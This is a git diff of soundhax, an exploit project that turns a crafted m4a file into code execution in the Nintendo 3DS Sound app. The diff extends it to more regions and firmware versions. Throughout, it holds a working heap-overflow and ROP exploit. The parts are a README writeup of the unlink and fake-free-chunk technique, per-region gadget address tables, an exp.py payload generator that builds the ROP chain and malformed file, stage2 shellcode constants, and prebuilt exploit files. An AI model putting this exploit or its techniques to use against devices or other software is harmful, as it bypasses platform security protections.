diff --git a/README.md b/README.md index 031c318..6e47fa5 100644 --- a/README.md +++ b/README.md @@ -11,25 +11,19 @@ of the firmware for which the sound app is available. | Version | N3DS/N2DS | O3DS/2DS | | --- | --- | --- | -| US 2.1-11.3 | ✓ | ✓ | -| JPN 2.1-11.3 | ✓ | ✓ | -| EUR 2.1-11.3 | ✓ | ✓ | +| US 1.0-11.3 | ✓ | ✓ | +| JPN 1.0-11.3 | ✓ | ✓ | +| EUR 1.0-11.3 | ✓ | ✓ | | KOR 4.0-11.3 | ✓ | ✓ | -| CHN 4.0-11.3 | ✗ | ✗ | -| TWN 4.1-11.3 | ✗ | ✗ | +| CHN 4.0-11.3 | N/A | ✓ | +| TWN 4.1-11.3 | N/A | ✓ | + +**All existing versions of Nintendo 3DS Sound prior to Nintendo fixing the vulnerability are now supported**. If your box is checked, then put [otherapp.bin](https://smealum.github.io/3ds/#otherapp) on the root of your SD card along with soundhax.m4a and launch the song from the sound player. It can be used along [pre9otherapp](https://github.com/hax0kartik/pre9otherapp) to launch an arm9 payload from the SD card on pre 9.0 firms (2.1 - 9.2). -## Status for KOR/CHN/TWN - -| Status | KOR | CHN | TWN | -| --- | --- | --- | --- | -| bug confirmed | ✓ | ✗ | ✗ | -| sound constants | ✓ | ✗ | ✗ | -| stage2 payload constants | ✓ | ✗ | ✗ | - ## Installation 1. Download the relevant soundhax-region-console-firmware.m4a file for your device. 2. Save the soundhax song file and copy to the root of your SD. @@ -43,7 +37,7 @@ Fixing the annoying bird: Click through all of the bird tips then close the app ## Build Install [Python 2.7](https://python.org) and [devkitARM](https://devkitpro.org/wiki/Getting_Started). -Then run `python exp.py ` to generate `soundhax-*.m4a`. +Then run `python exp.py ` to generate `soundhax-*.m4a`. ## Writeup @@ -60,19 +54,25 @@ I overflow my data onto the next heap chunk, which lets me fully control the malloc header of that chunk, which happens to be allocated at the time of the overflow. When that chunk is freed, a heap unlink is performed, which allows me to do an arbitrary write. This means I can write a dword to the stack and control -PC. Unfortunately, there aren't any usable gadgets (trust me, I looked), so I +PC. + +Unfortunately, there aren't any usable gadgets (trust me, I looked), so I had to use a more advanced technique to exploit the bug. I used the arbitrary write to overwrite the free list header with a stack address, while setting the start and end fields of the chunk being freed to cause the block to appear undersized, thus causing it to not be added to the free list -and so the stack address I just wrote is used on the next malloc. Because malloc -jumps through the free list looking for a suitable block, I had to find a stack +and so the stack address I just wrote is used on the next malloc. + +Because malloc jumps through the free list looking for a suitable block, I had to find a stack address at which there appears to be a valid heap chunk header with a large enough size for the requested allocation and null pointers for the next and prev entries -in the list, so that my stack chunk is chosen as the 'best' one. Once all of -these conditions are met, the next malloc returns the stack address as the +in the list, so that my stack chunk is chosen as the 'best' one. + +Once all of these conditions are met, the next malloc returns the stack address as the 'heap' location to write my next tag data, which lets me turn the arbitrary -write primitive into ROP. From there I use the gspwn GPU exploit to write +write primitive into ROP. + +From there I use the gspwn GPU exploit to write my stage2 shellcode over the text section of the sound process, before finally jumping to it. diff --git a/constants.h b/constants.h deleted file mode 100644 index fa45132..0000000 --- a/constants.h +++ /dev/null @@ -1,49 +0,0 @@ -/* sound constants by nedwill */ -#define GARBAGE 0xDEADC0DE - -#define REGION_CONST(name, eur, usa, jap) .set name, usa -#define GLOBAL_CONST(name, val) .set name, val - -#define PA_TO_GPU_ADDR(pa) ((pa) - 0x0C000000) -#define GPU_TO_PA_ADDR(pa) ((pa) + 0x0C000000) - -/* Apparently JAP code is a bit smaller than the other ones, making code.bin - being allocated at a slightly different address. */ -REGION_CONST(NEW_VA_TO_PA, 0x27700000, 0x27700000, 0x27800000); -REGION_CONST(OLD_VA_TO_PA, 0x23B00000, 0x23B00000, 0x23C00000); - -#if defined(NEW3DS) -#define CODE_VA_TO_PA(va) ((va) + NEW_VA_TO_PA) -#else -#define CODE_VA_TO_PA(va) ((va) + OLD_VA_TO_PA) -#endif - -/* FS functions. */ -REGION_CONST(FS_MOUNT_SDMC, 0x002CCCF8, 0x002CDA28, 0x002CCA34); -REGION_CONST(FS_OPEN_FILE, 0x0028CC30, 0x0028D220, 0x0028C830); -REGION_CONST(FS_READ_FILE, 0x00115A90, 0x00115B00, 0x00115A80); - -/* GSP functions. */ -REGION_CONST(GSP_FLUSH_DATA_CACHE, 0x00116AB8, 0x00116B28, 0x00116AA8); -REGION_CONST(GSP_ENQUEUE_CMD, 0x00285994, 0x00285F84, 0x00285594); -REGION_CONST(GSP_GX_CMD4, 0x00116BB8, 0x00116C28, 0x00116BA8); -REGION_CONST(GSP_GET_HANDLE, 0x0028A8F8, 0x0028AEE8, 0x0028A4F8); -REGION_CONST(GSP_GET_INTERRUPTRECEIVER, 0x00287F94, 0x00288584, 0x00287B94); -REGION_CONST(GSP_WRITE_HW_REGS, 0x00110080, 0x001100F0, 0x00110070); -REGION_CONST(GSP_THREAD_OBJ_PTR, 0x00594C40, 0x0051FC40, 0x00480C40); - -/* We will overwrite the padding at end of the last code page. This guarantees - that we don't overwrite existing code, and also avoids potential issues - with the instruction cache. */ -REGION_CONST(STAGE2_CODE_VA, 0x003AE800, 0x003AF200, 0x003AE400); -GLOBAL_CONST(STAGE2_CODE_PA, CODE_VA_TO_PA(STAGE2_CODE_VA)); -GLOBAL_CONST(STAGE2_SIZE, 0x800); // European game limits this size. - -GLOBAL_CONST(FREAKYBIN_LOAD_ADDR, 0x14200000); -GLOBAL_CONST(FRAMEBUF_ADDR, 0x14200000); -GLOBAL_CONST(FRAMEBUF_SIZE, (400*240*4)); -GLOBAL_CONST(PARAMBLK_ADDR, 0x14000000); -GLOBAL_CONST(OTHERAPP_CODE_VA, 0x00101000); -GLOBAL_CONST(OTHERAPP_CODE_PA, CODE_VA_TO_PA(OTHERAPP_CODE_VA)); -GLOBAL_CONST(OTHERAPP_ADDR, 0x142C0000); -GLOBAL_CONST(OTHERAPP_SIZE, 0xC000); diff --git a/constants.py b/constants.py index ad2e40f..56b8cb2 100644 --- a/constants.py +++ b/constants.py @@ -1,24 +1,30 @@ """Python constants.""" STAGE2_SIZE = 0x300 +OTHERAPP_CODE_VA = 0x00101000 + +""" +code_image_size + +The size of the loaded image containing .text+.rodata+.data. +""" """ fake_free_chunk -2nd dword needs to be big enough, and it is -3rd, 4th dword are null so it looks like the list is empty -0x15D62F10: 0x15D62F48 ; no idea +2nd dword needs to be big enough, and it is. +4th dword is null so it looks like the tail of the list is empty. + +0x15D62F10: 0x15D62F48 ; don't care 0x15D62F14: 0x15D62F54 ; >= desired size -0x15D62F18: 0x00000000 ; prev -0x15D62F1C: 0x00000000 ; next +0x15D62F18: 0x00000000 ; prev, don't care as it will end up overwritten +0x15D62F1C: 0x00000000 ; next = NULL """ """ -start/end1 +fake_free_chunk_padding -we don't want the corrupted chunk to get added to the free -list when it's freed, so put fake size data in the header -so it doesn't get added. +Number of stack bytes that need to be inserted before we control pc. """ """ @@ -55,31 +61,104 @@ .text:002E9710 LDMFD SP!, {R4-R11,PC} """ +constants_pre_21 = { + "code_image_size": { + "usa": 0x00272000, + "eur": 0x00272000, + "jpn": 0x00272000, + }, + "fake_free_chunk": { + "usa": 0x15D7AC80, + "eur": 0x15D7AC80, + "jpn": 0x15D7AC80, + }, + "fake_free_chunk_padding": { + "usa": 0x14, + "eur": 0x14, + "jpn": 0x14, + }, + "heapctx": { + "usa": 0x00395560, + "eur": 0x00395580, + "jpn": 0x00395520, + }, + "sleep_gadget": { + "usa": 0x002F0CD4, + "eur": 0x002F0E44, + "jpn": 0x002F0BAC, + }, + "gpu_flushcache_gadget": { + "usa": 0x002E5278, + "eur": 0x002E53E8, + "jpn": 0x002E5150, + }, + "gpu_enqueue_gadget": { + "usa": 0x002EAEFC, + "eur": 0x002EB06C, + "jpn": 0x002EADD4, + }, + "memcpy_gadget": { + "usa": 0x0022CDE0, + "eur": 0x0022CF70, + "jpn": 0x0022CDE0, + }, + "pop_r0_pc": { + "usa": 0x002E8DA4, + "eur": 0x002E8F14, + "jpn": 0x002E8C7C, + }, + "pop_r1_pc": { + "usa": 0x0022A644, + "eur": 0x0022A7D4, + "jpn": 0x0022A644, + }, + "payload_stack_addr": { + "usa": 0x15D7AD90, + "eur": 0x15D7AD90, + "jpn": 0x15D7AD90, + }, + "stage2_code_va": { + "usa": 0x002F6D00, + "eur": 0x002F6D00, + "jpn": 0x002F6D00, + }, + "pop_r2_thru_r6_pc": { + "usa": 0x00107F98, + "eur": 0x00107F98, + "jpn": 0x00107F98, + }, + "payload_heap_addr": { + "usa": 0x14200000, + "eur": 0x14200000, + "jpn": 0x14200000, + } +} + constants_21_22 = { + "code_image_size": { + # same + "usa": 0x00278000, + "eur": 0x00278000, + "jpn": 0x00278000, + }, "fake_free_chunk": { # same "usa": 0x15D62F10, "eur": 0x15D62F10, "jpn": 0x15D62F10, }, + "fake_free_chunk_padding": { + # same + "usa": 0xCC, + "eur": 0xCC, + "jpn": 0xCC, + }, "heapctx": { # same "usa": 0x0039B560, "eur": 0x0039B580, "jpn": 0x0039B520, }, - "start": { - # same - "usa": 0x140018AF, - "eur": 0x140018AF, - "jpn": 0x140018AF, - }, - "end1": { - # changed - "usa": 0x14001920, - "eur": 0x14001920, - "jpn": 0x14001920, - }, "sleep_gadget": { "usa": 0x001B5A5C, #same, actually (!!) "eur": 0x002F11B0, #changed @@ -142,88 +221,116 @@ } constants_3x_and_later = { + "code_image_size": { + "usa": 0x00278000, + "eur": 0x00278000, + "jpn": 0x00278000, + "kor": 0x00291000, + "chn": 0x00291000, + "twn": 0x0028D000, + }, "fake_free_chunk": { "usa": 0x15D62F10, "eur": 0x15D62F10, "jpn": 0x15D62F10, "kor": 0x15D69A94, + "chn": 0x15D69A94, + "twn": 0x15D61E14, + }, + "fake_free_chunk_padding": { + "usa": 0xCC, + "eur": 0xCC, + "jpn": 0xCC, + "kor": 0xA4, + "chn": 0xA4, + "twn": 0xA4, }, "heapctx": { "usa": 0x0039B560, "eur": 0x0039B580, "jpn": 0x0039B520, "kor": 0x003B4520, - }, - "start": { - "usa": 0x140018AF, - "eur": 0x140018AF, - "jpn": 0x140018AF, - "kor": 0x140018AF, - }, - "end1": { - "usa": 0x14001920, - "eur": 0x14001920, - "jpn": 0x14001920, - "kor": 0x14001920, + "chn": 0x003B4520, + "twn": 0x003B0540, }, "sleep_gadget": { "usa": 0x001B5A5C, "eur": 0x002F11C0, "jpn": 0x002F0F28, - "kor": 0x0012A6C8, + "kor": 0x0022EAF8, # The gadget isn't correct K/C/T so we use 1 in the called func. + "chn": 0x0022EB3C, + "twn": 0x0022EB28, }, "gpu_flushcache_gadget": { "usa": 0x002E2958, "eur": 0x002E2AC8, "jpn": 0x002E2830, "kor": 0x0012B730, + "chn": 0x0012B730, + "twn": 0x0012B760, }, "gpu_enqueue_gadget": { "usa": 0x002E96FC, "eur": 0x002E9428, "jpn": 0x002E95D4, "kor": 0x00131B0C, + "chn": 0x00131B0C, + "twn": 0x00131B3C, }, "memcpy_gadget": { "usa": 0x0022DB1C, "eur": 0x0022DB1C, "jpn": 0x0022DB1C, "kor": 0x00228910, + "chn": 0x00228954, + "twn": 0x00228940, }, "pop_r0_pc": { "usa": 0x002e6f80, "eur": 0x002E70F0, "jpn": 0x002E6E58, "kor": 0x0012FA94, + "chn": 0x0012FA94, + "twn": 0x0012FAC4, }, "pop_r1_pc": { "usa": 0x0022B6C8, "eur": 0x0022B6C8, "jpn": 0x0022B6C8, "kor": 0x002220E0, + "chn": 0x00222124, + "twn": 0x00222110, }, "payload_stack_addr": { "usa": 0x15D630C8, "eur": 0x15D630C8, "jpn": 0x15D630C8, "kor": 0x15D69C38, + "chn": 0x15D69C38, + "twn": 0x15D61FB8, }, "stage2_code_va": { "usa": 0x002F5D00, "eur": 0x002F5D00, "jpn": 0x002F5D00, "kor": 0x002F5D00, + "chn": 0x002F5D00, + "twn": 0x002F5D00, }, "pop_r2_thru_r6_pc": { "usa": 0x0021462C, "eur": 0x00108910, "jpn": 0x0021462C, "kor": 0x00148740, + "chn": 0x00148748, + "twn": 0x00148778, }, "payload_heap_addr": { "usa": 0x14200000, "eur": 0x14200000, "jpn": 0x14200000, "kor": 0x14200000, + "chn": 0x14200000, + "twn": 0x14200000, } } diff --git a/docs/index.html b/docs/index.html index f482d3c..5baaed4 100755 --- a/docs/index.html +++ b/docs/index.html @@ -4,7 +4,7 @@ - SoundHax | Nintendo Hacking 2016 + SoundHax | Nintendo Hacking 2016-2020 USA - + + +

Choose a console:

- - + +
-
-

Choose firmware:

- - - +
+

Choose firmware:

+ + + +
diff --git a/docs/js/scripts.js b/docs/js/scripts.js index e42bff0..ebcbc74 100755 --- a/docs/js/scripts.js +++ b/docs/js/scripts.js @@ -5,23 +5,42 @@ String.prototype.format = function () { }; $('button.group').on('click', function() { - if ($(this).hasClass('selected')){ + if ($(this).hasClass('selected')) { $(this).removeClass('selected'); } else { $(this).siblings().removeClass('selected'); $(this).addClass('selected'); } + // There is no CHN/TWN N3DS + if ($('.region .no_n3ds').hasClass('selected')) { + $('#n3ds').removeClass('selected'); + $('#n3ds').hide(); + } else { + $('#n3ds').show(); + } + + // Hide/show relevant system versions + $('.firmware .group').each(function (index, elem) { + var hide_n3ds = $(elem).hasClass('no_n3ds') && $('#n3ds').hasClass('selected'); + var hide_kct = $(elem).hasClass('no_kct') && $('.kct').hasClass('selected'); + if (hide_n3ds || hide_kct) { + $(elem).removeClass('selected'); + $(elem).hide(); + } else { + $(elem).show(); + } + }) + if ( $('.region').children().hasClass('selected') && $('.console').children().hasClass('selected') - && $('.firmware').children().hasClass('selected') - ) { + && $('.firmware').children().hasClass('selected') + ) { $('#download').addClass('active'); } else { $('#download').removeClass('active'); } - //if (region_selected('div.region')) - //$('download') + }); $('#download').on('click', function() { @@ -35,8 +54,8 @@ $('#download').on('click', function() { var base = "https://github.com/nedwill/soundhax/raw/master/"; if(console_ == 'n3ds') - var filename = "soundhax-{0}-{1}.m4a".format(region, console_); + var filename = "soundhax-{0}-{1}.m4a".format(region, console_); else - var filename = "soundhax-{0}-{1}-{2}.m4a".format(region, console_, firmware_); + var filename = "soundhax-{0}-{1}-{2}.m4a".format(region, console_, firmware_); window.location.href = base + filename; }); diff --git a/exp.py b/exp.py index b59b6bb..b8e8527 100644 --- a/exp.py +++ b/exp.py @@ -3,7 +3,7 @@ import sys from struct import pack from subprocess import call -from constants import STAGE2_SIZE, constants_21_22, constants_3x_and_later +from constants import STAGE2_SIZE, OTHERAPP_CODE_VA, constants_pre_21, constants_21_22, constants_3x_and_later from os import environ, path, name as osname REGION = "usa" @@ -18,12 +18,32 @@ if len(sys.argv) > 3: FIRM = sys.argv[3].lower() -constants = constants_3x_and_later if FIRM != "v21and22" else constants_21_22 +# Check for impossible combinations +if TYPE not in ("old", "new"): + print("Error: invalid console type: {}".format(TYPE)) + sys.exit(1) +if FIRM not in ("pre21", "v21and22", "v3xand4x", "post5"): + print("Error: invalid system version range: {}".format(FIRM)) + sys.exit(1) +if TYPE == "new" and FIRM != "post5": + print("Error: can only use \"post5\" for N3DS") + sys.exit(1) +if FIRM in ("pre21", "v21and22") and REGION not in ("usa", "eur", "jpn"): + print("Error: {} can only be used for USA/EUR/JPN regions".format(FIRM)) + sys.exit(1) + +constants = { + "pre21": constants_pre_21, + "v21and22": constants_21_22, + "v3xand4x": constants_3x_and_later, + "post5": constants_3x_and_later, +}[FIRM] for name, regions in constants.items(): if REGION not in regions: print("Error: {} does not contain a constant for {}".format(REGION, name)) + sys.exit(1) globals()[name] = regions[REGION] def p(x): @@ -50,60 +70,59 @@ def get_shellcode(): assert len(payload) == STAGE2_SIZE return payload -# end = end1 + end2 in the code, pick end2 so end wraps to start+4 -desired_end = start + 4 # to make size 4 -magic_end = (desired_end - end1) % 2**32 -assert (end1 + magic_end) % 2**32 == desired_end +def create_heap_chunk(prv, nxt, sz): + r = "DU\x00\x00" # "used" marker, plus alignment-related fields = 0 + r += p(sz) # size, < 0x10 to avoid putting it in free list + r += p(prv) + r += p(nxt) + return r malloc_free_list_head = heapctx + 0x3C -what = fake_free_chunk -where = malloc_free_list_head - -r1 = what -r2 = where - 12 - UNICODE_MARKER = '\xff\xfe' # unicode marker exp = "<\x003\x00 \x00n\x00e\x00d\x00w\x00i\x00l\x00l\x00 \x002\x000\x001\x006\x00" exp += " \x00"*((772-len(exp)) / 2) assert len(exp) == 772 -exp += "aaaa" # base -exp += p(magic_end) # r3 -exp += p(r2) # r2 -exp += p(r1) # r1 +# Set malloc_free_list_head = fake_free_chunk +# This also does fake_free_chunk->prev = malloc_free_list_head, which means +# malloc_free_list_head = NULL after the subsequent "stack" allocation. +# This should be fine unless we take over the control flow too late. +exp += create_heap_chunk(malloc_free_list_head - 12, fake_free_chunk, 0) def pa_to_gpu(pa): - return pa - 0x0C000000 + return pa - 0x20000000 + 0x14000000 def gpu_to_pa(gpua): - return gpua + 0x0C000000 + return gpua - 0x14000000 + 0x20000000 -# 16:06:09 @yellows8 | "> readmem:11usr=CtrApp 0x002F5d00 0x100" -# "Using physical address: 0x27bf5d00 (in_address = 0x002f5d00)" def code_va_to_pa(va): - if TYPE == "old": - if FIRM == "post5": - return va + 0x23D00000 - else: - return va + 0x23D00000 - 0x78000 + """ + Since the APPLICATION memregion is unused before we start up the application, + the image is allocated from the end of the memregion, at end(APPLICATION) - code_image_size + (linear mem is allocated from the start). + + Before system version 5.0, the image VA<>PA mapping is flat. On 5.0 and above, however, + the kernel tries to optimize the layout by giving mappings that as as large as possible. + + Since .text is the only section/segment being bigger than 1MB (it's almost 2MB in size), its first + MB is given a "section" (1MB) mapping at end(APPLICATION) - 2MB. + """ + off = va - 0x00100000 + appmem_end = 0x24000000 if TYPE == "old" else 0x27C00000 + + if FIRM == "post5" or TYPE == "new": + return appmem_end - 0x00200000 + off else: - return va + 0x27900000 + return appmem_end - code_image_size + off -#starts at this pop -#.text:0027DB00 LDMFD SP!, {R4-R10,PC} +def code_va_to_gpu(va): + return pa_to_gpu(code_va_to_pa(va)) payload = get_shellcode() -rop = "AAAA" # r4 -rop += "BBBB" # r5 -rop += "CCCC" # r6 -rop += "DDDD" # r7 -rop += "EEEE" # r8 -rop += "FFFF" # r9 -rop += "GGGG" # r10 -rop += p(pop_r0_pc) # pc +rop = p(pop_r0_pc) # pc rop += p(payload_heap_addr) # dst rop += p(pop_r1_pc) rop += p(payload_stack_addr) # src @@ -130,17 +149,17 @@ def code_va_to_pa(va): rop += "cccc" # r5 rop += "dddd" # r6 rop += p(gpu_enqueue_gadget) -if REGION != 'kor': +if REGION not in ('kor', 'chn', 'twn'): rop += "aaaa" # skipped rop += p(4) rop += p(payload_heap_addr) -rop += p(pa_to_gpu(code_va_to_pa(stage2_code_va))) +rop += p(code_va_to_gpu(stage2_code_va)) rop += p(STAGE2_SIZE) rop += p(0) rop += p(0) rop += p(8) rop += p(0) -if REGION == 'kor': +if REGION in ('kor', 'chn', 'twn'): rop += "aaaa" # skipped (with KOR the above gxcmd buffer is at sp+0 instead of sp+4, but stackframe size is the same) rop += "AAAA" # r4 rop += "AAAA" # r5 @@ -148,7 +167,7 @@ def code_va_to_pa(va): rop += "AAAA" # r7 rop += "AAAA" # r8 rop += "AAAA" # r9 -if REGION != 'kor': +if REGION not in ('kor', 'chn', 'twn'): rop += "AAAA" # r10 rop += "AAAA" # r11 rop += p(pop_r0_pc) # pc @@ -157,14 +176,12 @@ def code_va_to_pa(va): rop += p(0) # r1 rop += p(sleep_gadget) # pc # {R4-R6,LR} rop += "aaaa" # r4 -rop += "bbbb" # r5 +rop += p(code_va_to_gpu(OTHERAPP_CODE_VA)) # r5 rop += "cccc" # r6 rop += p(stage2_code_va) rop += payload -tkhd_data = 'A'*136 # padding -if REGION != 'kor': - tkhd_data += 'A'*0x28 # padding +tkhd_data = 'P'*fake_free_chunk_padding # padding tkhd_data += rop # ROP starts here tkhd_data += '00000002000000000000940000000000000000000000000001000000000100000000000000'.decode("hex") tkhd_data += '0000000000000000010000000000000000000000000000400000000000000000000000'.decode("hex") @@ -254,9 +271,9 @@ def internal(tree): fn = './soundhax-{}-{}.m4a'.format(REGION, "n3ds") else: assert TYPE == "old" - - if FIRM == "v21and22": - assert REGION in ("usa", "eur", "jpn") + if FIRM == "pre21": + fn = './soundhax-{}-{}-{}.m4a'.format(REGION, "o3ds", "pre2.1") + elif FIRM == "v21and22": fn = './soundhax-{}-{}-{}.m4a'.format(REGION, "o3ds", "v2.1and2.2") elif FIRM == "v3xand4x": fn = './soundhax-{}-{}-{}.m4a'.format(REGION, "o3ds", "v3.xand4.x") diff --git a/generate_all.sh b/generate_all.sh new file mode 100755 index 0000000..57f8337 --- /dev/null +++ b/generate_all.sh @@ -0,0 +1,35 @@ +#!/bin/bash + +# There is no New3DS model for CHN/TWN + +# N3DS (post5) +python exp.py usa new +python exp.py eur new +python exp.py jpn new +python exp.py kor new + +# O3DS (post5) +python exp.py usa old post5 +python exp.py eur old post5 +python exp.py jpn old post5 +python exp.py kor old post5 +python exp.py chn old post5 +python exp.py twn old post5 + +# O3DS (v3xand4x) +python exp.py usa old v3xand4x +python exp.py eur old v3xand4x +python exp.py jpn old v3xand4x +python exp.py kor old v3xand4x +python exp.py chn old v3xand4x +python exp.py twn old v3xand4x + +# O3DS (v21and22) +python exp.py usa old v21and22 +python exp.py eur old v21and22 +python exp.py jpn old v21and22 + +# O3DS (pre21) +python exp.py usa old pre21 +python exp.py eur old pre21 +python exp.py jpn old pre21 diff --git a/soundhax-chn-o3ds-post5.0.m4a b/soundhax-chn-o3ds-post5.0.m4a new file mode 100644 index 0000000..897a297 Binary files /dev/null and b/soundhax-chn-o3ds-post5.0.m4a differ diff --git a/soundhax-chn-o3ds-v3.xand4.x.m4a b/soundhax-chn-o3ds-v3.xand4.x.m4a new file mode 100644 index 0000000..33f8adf Binary files /dev/null and b/soundhax-chn-o3ds-v3.xand4.x.m4a differ diff --git a/soundhax-eur-n3ds.m4a b/soundhax-eur-n3ds.m4a index 812f136..57dc12a 100644 Binary files a/soundhax-eur-n3ds.m4a and b/soundhax-eur-n3ds.m4a differ diff --git a/soundhax-eur-o3ds-post5.0.m4a b/soundhax-eur-o3ds-post5.0.m4a index dcede7b..212bafb 100644 Binary files a/soundhax-eur-o3ds-post5.0.m4a and b/soundhax-eur-o3ds-post5.0.m4a differ diff --git a/soundhax-eur-o3ds-pre2.1.m4a b/soundhax-eur-o3ds-pre2.1.m4a new file mode 100644 index 0000000..9b19838 Binary files /dev/null and b/soundhax-eur-o3ds-pre2.1.m4a differ diff --git a/soundhax-eur-o3ds-v2.1and2.2.m4a b/soundhax-eur-o3ds-v2.1and2.2.m4a index 2b41e08..8a8c4d4 100644 Binary files a/soundhax-eur-o3ds-v2.1and2.2.m4a and b/soundhax-eur-o3ds-v2.1and2.2.m4a differ diff --git a/soundhax-eur-o3ds-v3.xand4.x.m4a b/soundhax-eur-o3ds-v3.xand4.x.m4a index 6d5a5b8..b312e8a 100644 Binary files a/soundhax-eur-o3ds-v3.xand4.x.m4a and b/soundhax-eur-o3ds-v3.xand4.x.m4a differ diff --git a/soundhax-jpn-n3ds.m4a b/soundhax-jpn-n3ds.m4a index e9da190..6371a53 100644 Binary files a/soundhax-jpn-n3ds.m4a and b/soundhax-jpn-n3ds.m4a differ diff --git a/soundhax-jpn-o3ds-post5.0.m4a b/soundhax-jpn-o3ds-post5.0.m4a index 5031ee4..84fa590 100644 Binary files a/soundhax-jpn-o3ds-post5.0.m4a and b/soundhax-jpn-o3ds-post5.0.m4a differ diff --git a/soundhax-jpn-o3ds-pre2.1.m4a b/soundhax-jpn-o3ds-pre2.1.m4a new file mode 100644 index 0000000..696c5dd Binary files /dev/null and b/soundhax-jpn-o3ds-pre2.1.m4a differ diff --git a/soundhax-jpn-o3ds-v2.1and2.2.m4a b/soundhax-jpn-o3ds-v2.1and2.2.m4a index f1a4e7c..90d8ee2 100644 Binary files a/soundhax-jpn-o3ds-v2.1and2.2.m4a and b/soundhax-jpn-o3ds-v2.1and2.2.m4a differ diff --git a/soundhax-jpn-o3ds-v3.xand4.x.m4a b/soundhax-jpn-o3ds-v3.xand4.x.m4a index 25d20cb..6edacbc 100644 Binary files a/soundhax-jpn-o3ds-v3.xand4.x.m4a and b/soundhax-jpn-o3ds-v3.xand4.x.m4a differ diff --git a/soundhax-kor-n3ds.m4a b/soundhax-kor-n3ds.m4a index 70073ac..d73eabb 100644 Binary files a/soundhax-kor-n3ds.m4a and b/soundhax-kor-n3ds.m4a differ diff --git a/soundhax-kor-o3ds-post5.0.m4a b/soundhax-kor-o3ds-post5.0.m4a index 7e0d0ba..63a7e4e 100644 Binary files a/soundhax-kor-o3ds-post5.0.m4a and b/soundhax-kor-o3ds-post5.0.m4a differ diff --git a/soundhax-kor-o3ds-v3.xand4.x.m4a b/soundhax-kor-o3ds-v3.xand4.x.m4a index d9eac30..bcbb00d 100644 Binary files a/soundhax-kor-o3ds-v3.xand4.x.m4a and b/soundhax-kor-o3ds-v3.xand4.x.m4a differ diff --git a/soundhax-twn-o3ds-post5.0.m4a b/soundhax-twn-o3ds-post5.0.m4a new file mode 100644 index 0000000..4dddc47 Binary files /dev/null and b/soundhax-twn-o3ds-post5.0.m4a differ diff --git a/soundhax-twn-o3ds-v3.xand4.x.m4a b/soundhax-twn-o3ds-v3.xand4.x.m4a new file mode 100644 index 0000000..d72f6e2 Binary files /dev/null and b/soundhax-twn-o3ds-v3.xand4.x.m4a differ diff --git a/soundhax-usa-n3ds.m4a b/soundhax-usa-n3ds.m4a index 9ca1292..e9315c2 100644 Binary files a/soundhax-usa-n3ds.m4a and b/soundhax-usa-n3ds.m4a differ diff --git a/soundhax-usa-o3ds-post5.0.m4a b/soundhax-usa-o3ds-post5.0.m4a index 2dcd8c6..47ecb9c 100644 Binary files a/soundhax-usa-o3ds-post5.0.m4a and b/soundhax-usa-o3ds-post5.0.m4a differ diff --git a/soundhax-usa-o3ds-pre2.1.m4a b/soundhax-usa-o3ds-pre2.1.m4a new file mode 100644 index 0000000..5a22354 Binary files /dev/null and b/soundhax-usa-o3ds-pre2.1.m4a differ diff --git a/soundhax-usa-o3ds-v2.1and2.2.m4a b/soundhax-usa-o3ds-v2.1and2.2.m4a index 5a7e040..980b04b 100644 Binary files a/soundhax-usa-o3ds-v2.1and2.2.m4a and b/soundhax-usa-o3ds-v2.1and2.2.m4a differ diff --git a/soundhax-usa-o3ds-v3.xand4.x.m4a b/soundhax-usa-o3ds-v3.xand4.x.m4a index 31e0dfb..73be07a 100644 Binary files a/soundhax-usa-o3ds-v3.xand4.x.m4a and b/soundhax-usa-o3ds-v3.xand4.x.m4a differ diff --git a/stage2.s b/stage2.s index 6b6dfad..7690d09 100644 --- a/stage2.s +++ b/stage2.s @@ -1,140 +1,57 @@ /* soundhax stage 2 */ /* ported by nedwill from freakyhax (plutoo), with permission */ -#if defined(USA) - -#define GSP_THREAD_OBJ_PTR 0x003BFFF0 -#define FS_OPEN_FILE 0x0022929C -#define GSP_GET_HANDLE 0x0021C960 -#define GSP_GET_INTERRUPTRECEIVER 0x001C805C -#define GSP_ENQUEUE_CMD 0x001C7BF4 - -#if defined(V21AND22) - -#define FS_READ_FILE 0x002C41F4 -#define GSP_GX_CMD4 0x002E9380 -#define GSP_FLUSH_DATA_CACHE 0x002E2940 - +#if defined(PRE21) +#include "stage2_constants_pre2.1.h" +#elif defined(V21AND22) +#include "stage2_constants_v2.1and2.2.h" #else - -#define FS_READ_FILE 0x002C4204 -#define GSP_GX_CMD4 0x002E9390 -#define GSP_FLUSH_DATA_CACHE 0x002E2950 - -#endif - -#elif defined(EUR) - -#define GSP_THREAD_OBJ_PTR 0x003C0010 -#define FS_OPEN_FILE 0x0022929C -#define GSP_GET_HANDLE 0x0021C960 -#define GSP_GET_INTERRUPTRECEIVER 0x001C805C -#define GSP_ENQUEUE_CMD 0x001C7BF4 - -#if defined(V21AND22) - -#define FS_READ_FILE 0x002C4364 -#define GSP_GX_CMD4 0x002E94F0 -#define GSP_FLUSH_DATA_CACHE 0x002E2AB0 - -#else - -#define FS_READ_FILE 0x002C4374 -#define GSP_GX_CMD4 0x002E9500 -#define GSP_FLUSH_DATA_CACHE 0x002E2AC0 - -#endif - -#elif defined(JPN) - -#define GSP_THREAD_OBJ_PTR 0x003BFFB0 -#define FS_OPEN_FILE 0x0022929C -#define GSP_GET_HANDLE 0x0021C960 -#define GSP_GET_INTERRUPTRECEIVER 0x001C805C -#define GSP_ENQUEUE_CMD 0x001C7BF4 - -#if defined(V21AND22) - -#define FS_READ_FILE 0x002C40CC -#define GSP_GX_CMD4 0x002E9258 -#define GSP_FLUSH_DATA_CACHE 0x002E2818 - -#else - -#define FS_READ_FILE 0x002C40DC -#define GSP_GX_CMD4 0x002E9268 -#define GSP_FLUSH_DATA_CACHE 0x002E2828 - -#endif - -#elif defined(KOR) - -#if defined(V21AND22) -#error "KOR region supported for this firmware version" -#endif - -#define SRV_SESSIONHANDLE 0x0038d1c4 -#define SRV_SEMAPHORE 0x0038d1b4 -#define GSP_THREAD_OBJ_PTR 0x0038CA20 -#define GSP_THREAD_OBJ_PTR_OFFSET 0x1C -#define FS_OPEN_FILE 0x0022F094 -#define FS_READ_FILE 0x0010C83C -#define GSP_GET_HANDLE 0x00223890 -#define GSP_GX_CMD4 0x001318A0 -#define GSP_FLUSH_DATA_CACHE 0x0012B728 -#define GSP_GET_INTERRUPTRECEIVER 0x00223880 -#define GSP_ENQUEUE_CMD 0x0022109C - -#else -#error "region not supported" +#include "stage2_constants_post3.0.h" #endif #define OTHERAPP_ADDR 0x142C0000 #define OTHERAPP_SIZE 0xC000 #define OTHERAPP_CODE_VA 0x00101000 -#ifdef NEW -/* OTHERAPP_CODE_VA + 0x27900000 